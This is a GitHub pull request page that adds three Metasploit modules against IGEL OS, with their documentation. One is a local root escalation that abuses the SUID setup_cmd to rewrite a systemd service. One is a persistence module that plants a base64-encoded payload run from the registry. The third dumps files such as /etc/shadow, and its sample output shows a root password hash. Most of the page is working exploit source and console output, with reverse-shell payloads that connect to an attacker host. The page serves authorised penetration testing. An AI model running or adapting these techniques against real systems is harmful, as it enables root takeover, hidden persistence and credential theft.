Skip to content
Merged
Show file tree
Hide file tree
Changes from 5 commits
Commits
Show all changes
22 commits
Select commit Hold shift + click to select a range
f29505d
Add IGEL OS modules
Zedeldi Nov 17, 2025
1436803
Strip first line and quotes
Zedeldi Nov 17, 2025
c37f787
Add documentation for IGEL OS modules
Zedeldi Nov 17, 2025
796d941
Code formatting changes
Zedeldi Nov 17, 2025
c6db0d4
Move IGEL OS persistence module to linux/persistence
Zedeldi Nov 17, 2025
22aead0
Use vprint_status for modify_service and restart_service
Zedeldi Nov 19, 2025
beed317
Use create_process instead of cmd_exec
Zedeldi Nov 19, 2025
bc2c397
Add check for root access to igel_persistence
Zedeldi Nov 19, 2025
8d28ce6
Revert to cmd_exec for modify_service and improve code style
Zedeldi Nov 19, 2025
ba702d4
Remove x86 target and redundant DefaultOptions
Zedeldi Nov 21, 2025
b131378
Add IGEL OS and vulnerability summary to documentation
Zedeldi Nov 21, 2025
dc9eddc
Use store_loot for igel_dump_file
Zedeldi Nov 21, 2025
425adfa
Prefer create_process over cmd_exec for commands with arguments
Zedeldi Nov 21, 2025
c0a756a
Verify registry has been written successfully
Zedeldi Nov 21, 2025
da33eed
Use fail_with instead of a check method
Zedeldi Nov 21, 2025
0c4d1e7
Add support for ARCH_CMD payload
Zedeldi Nov 24, 2025
002795c
Update module information in documentation
Zedeldi Nov 24, 2025
933fb7b
Add clean-up information
Zedeldi Nov 24, 2025
ffaf43a
Add writable? and file? checks to write_payload
Zedeldi Nov 24, 2025
ce926fd
Update vulnerable IGEL OS version to < 11.09.310
Zedeldi Nov 24, 2025
4b2798f
Correct vulnerable version information
Zedeldi Nov 24, 2025
d1fe177
Add check methods and update DisclosureDate
Zedeldi Nov 24, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
38 changes: 38 additions & 0 deletions documentation/modules/exploit/linux/local/igel_network_priv_esc.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
## Vulnerable Application

IGEL OS < 11.10.100 with a `shell` or `meterpreter` session.

## Verification Steps

1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host
2. Use: `use exploit/linux/local/igel_network_priv_esc`
3. Set: `set SESSION <id>`, replacing `<id>` with the session ID
4. Set payload options, e.g. `LHOST`
5. Exploit: `run`
6. A new session is created as root

## Options

None.

## Scenarios

```
msf exploit(linux/local/igel_network_priv_esc) > set SESSION 1
SESSION => 1
msf exploit(linux/local/igel_network_priv_esc) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(linux/local/igel_network_priv_esc) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Uploading payload to target
[*] Writing config to target
[*] Applying service config
[*] Restarting service
[*] Sending stage (3090404 bytes) to 192.168.56.7
[+] Deleted /tmp/WHQCVmDB
[+] Deleted /tmp/fylZWXSF
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:51938) at 2025-11-17 16:00:48 +0000

meterpreter > getuid
Server username: root
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
## Vulnerable Application

IGEL OS with a `shell` or `meterpreter` session.

## Verification Steps

1. Get a `shell` or `meterpreter` session on an IGEL OS host
2. Use: `use exploit/linux/persistence/igel_persistence`
3. Set: `set SESSION <id>`, replacing `<id>` with the session ID
4. Set payload options, e.g. `LHOST`
5. Exploit: `run`
6. The payload is executed on next boot/login (dependent on `REGISTRY_KEY`)

## Options

| Name | Description |
| ------------- | ------------------------------------------------------- |
| REGISTRY_KEY | Registry key to use for automatically executing payload |
| REGISTRY_ONLY | Set whether to store payload in registry |
| TARGET_DIR | Directory to write payload |

## Scenarios

```
msf exploit(linux/persistence/igel_persistence) > set SESSION 2
SESSION => 2
msf exploit(linux/persistence/igel_persistence) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(linux/persistence/igel_persistence) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Uploading payload to /license
[*] Writing persistence to registry
[*] Exploit completed, but no session was created.
```
43 changes: 43 additions & 0 deletions documentation/modules/post/linux/gather/igel_dump_file.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
## Vulnerable Application

IGEL OS < 11.10.100 with a `shell` or `meterpreter` session.

## Verification Steps

1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host
2. Use: `use post/linux/gather/igel_dump_file`
3. Set: `set SESSION <id>`, replacing `<id>` with the session ID
4. Optionally, set `RPATH`
5. Run: `run`
6. Contents of file is displayed

## Options

| Name | Description |
| ------------- | -------------------------- |
| RPATH | File on the target to dump |

## Scenarios

```
msf post(linux/gather/igel_dump_file) > set SESSION 1
SESSION => 1
msf post(linux/gather/igel_dump_file) > set RPATH /etc/shadow
RPATH => /etc/shadow
msf post(linux/gather/igel_dump_file) > run
[*] Executing command on target
[*] Command completed:
games:!!:20409::::::
man:!!:20409::::::
proxy:!!:20409::::::
backup:!!:20409::::::
list:!!:20409::::::
irc:!!:20409::::::
gnats:!!:20409::::::
systemd-coredump:!!:20409::::::
root:$6$BEtW8dG/eZ2nHb2X$vE1ZoeP.Z00bSB6dF9PVNHB3gcT1Wh5U2WUMPDBqBwMmZg.cshgiApIXVmDk.S.RhWTxKoZbZRWyqyMyHkzby.:20409:0:99999::::
rtkit:*:20409:0:99999:7:::
user:*:20409:0:99999::::
ruser::20409:0:99999::::
[*] Post module execution completed
```
110 changes: 110 additions & 0 deletions modules/exploits/linux/local/igel_network_priv_esc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,110 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Linux
include Msf::Post::Linux::System
include Msf::Post::Unix
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'IGEL OS Privilege Escalation (via systemd service)',
'Description' => %q{
Escalate privileges for IGEL OS Workspace Edition sessions, by modifying
network-manager.service using setup_cmd (SUID) and network, then restarting
the service.
},
'Author' => 'Zack Didcott',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[
'Linux x86', {
'Arch' => ARCH_X86,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'Linux x86_64', {
'Arch' => ARCH_X64,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
],
'DefaultTarget' => 1,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2024-05-16',
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS]
}
)
)

register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end

def exploit
print_status('Uploading payload to target')
payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700)

print_status('Writing config to target')
config = build_config(payload_file)
config_file = write_payload(config, datastore['WritableDir'], 0o600)

print_status('Applying service config')
modify_service(config_file)

print_status('Restarting service')
restart_service
end

def write_payload(contents, dir, perm)
fail_with(Failure::NoAccess, "directory '#{dir}' is on a noexec mount point") if noexec?(dir)

filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"

write_file(filepath, contents)
chmod(filepath, perm)
register_files_for_cleanup(filepath)

return filepath
end

def build_config(payload_file)
config = <<~CONFIG.strip
[Service]
TimeoutStartSec=infinity
ExecStartPost=#{payload_file}
CONFIG
return config
end

def modify_service(config_file)
command = <<~COMMAND.strip
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF
env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit
EOF
COMMAND

script_file = write_payload(command, datastore['WritableDir'], 0o700)
output = cmd_exec(script_file)
return output
end

def restart_service
cmd_exec('/config/bin/setup_cmd /config/bin/network restart')
end
end
108 changes: 108 additions & 0 deletions modules/exploits/linux/persistence/igel_persistence.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Linux
include Msf::Post::Linux::System
include Msf::Post::Unix
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence

def initialize(info = {})
super(
update_info(
info,
'Name' => 'IGEL OS Persistent Payload',
'Description' => %q{
Gain persistence for specified payload on IGEL OS Workspace Edition, by writing
a payload to disk or base64-encoding and executing from registry.
},
'Author' => 'Zack Didcott',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[
'Linux x86', {
'Arch' => ARCH_X86,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'Linux x86_64', {
'Arch' => ARCH_X64,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
],
'DefaultTarget' => 1,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2024-05-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('REGISTRY_KEY', [
true,
'Registry key to use for automatically executing payload',
'userinterface.rccustom.custom_cmd_net_final'
]),
OptString.new('TARGET_DIR', [true, 'Directory to write payload', '/license']),
OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry', false])
])
end

def install_persistence
if datastore['REGISTRY_ONLY']
print_status('Base64-encoding payload')
encoded_payload = Rex::Text.encode_base64(generate_payload_exe)
command = base64_command(encoded_payload)
else
print_status("Uploading payload to #{datastore['TARGET_DIR']}")
payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700)
command = local_command(payload_file)
end
print_status('Writing persistence to registry')
write_registry(datastore['REGISTRY_KEY'], command)
end

def remount_license(opt = 'rw')
cmd_exec("/bin/mount -o remount,#{opt} /license")
end

def write_payload(contents, dir, perm)
remount_license('rw')

filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"
write_file(filepath, contents)
chmod(filepath, perm)

remount_license('ro')

return filepath
end

def base64_command(encoded_payload)
payload_dest = "/tmp/#{Rex::Text.rand_text_alpha(8)}"
"/bin/bash -c '/bin/echo '#{encoded_payload}' | /usr/bin/base64 -d > '#{payload_dest}'; /bin/chmod +x '#{payload_dest}'; '#{payload_dest}' &'"
end

def local_command(payload_file)
command = "/bin/bash -c '/bin/mount -o remount,exec /license; '#{payload_file}' &'"
return command
end

def write_registry(key, value)
cmd_exec("/bin/setparam \"#{key}\" \"#{value}\"")
end
end
46 changes: 46 additions & 0 deletions modules/post/linux/gather/igel_dump_file.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'IGEL OS Dump File',
'Description' => %q{
Dump a file with escalated privileges for IGEL OS Workspace Edition sessions,
by elevating rights with setup_cmd (SUID) and outputting with date.
},
'Author' => 'Zack Didcott',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2024-05-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)

register_options([
OptString.new('RPATH', [true, 'File on the target to dump', '/etc/shadow'])
])
end

def run
print_status('Executing command on target')
output = cmd_exec("/config/bin/setup_cmd /bin/date -f #{datastore['RPATH']}")

print_status('Command completed:')
output.lines[1..].each do |line|
line = line.strip
print_line(line.delete_prefix(
'/bin/date: invalid date ‘'
).delete_suffix('’'))
end
end
end